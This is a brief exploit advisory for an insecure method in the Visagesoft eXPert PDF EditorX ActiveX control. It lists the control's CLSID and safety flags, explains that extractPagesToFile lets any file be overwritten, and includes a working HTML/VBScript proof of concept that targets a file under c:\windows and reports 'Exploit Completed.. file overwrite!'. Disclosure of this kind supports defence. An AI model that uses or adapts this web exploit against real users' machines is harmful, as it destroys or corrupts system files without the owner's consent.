Visagesoft eXPert PDF EditorX Insecure Method

`VISAGESOFT eXPert PDF EditorX (VSPDFEditorX.ocx) INSECURE METHOD  
SITE: http://www.visagesoft.com  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.  
Author: Marco Torti  
mail: marcotorti2[at]yahoo[dot]com  
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FileVersion: 1.0.200.0  
CLSID: {89F968A1-DBAC-4807-9B3C-405A55E4A279}  
Description: Visagesoft eXPert PDF EditorX  
ProgID: VSPDFEditorX.VSPDFEdit  
  
Marked as:  
RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller,data   
IPStorage Safe: Safe for untrusted: caller,data  
KillBitSet: False  
  
---Vulnerable method:  
---extractPagesToFile(ByVal Filename As String ,ByVal PagesRange As String )  
  
---Vulnerability Description:  
The "extractPagesToFile" method doesn't check user supplied arguments so we  
can save/overwrite a specified file passed as argument.  
Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7  
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<object classid='clsid:89F968A1-DBAC-4807-9B3C-405A55E4A279' id='target'/></object>  
<input language=VBScript onclick=launch() type=button value='start'>  
<script language='vbscript'>  
Sub launch  
target.extractPagesToFile "c:\windows\-system.ini","defaultV"  
MsgBox"Exploit Completed.. file overwrite!"  
End Sub  
</script>  
  
  
`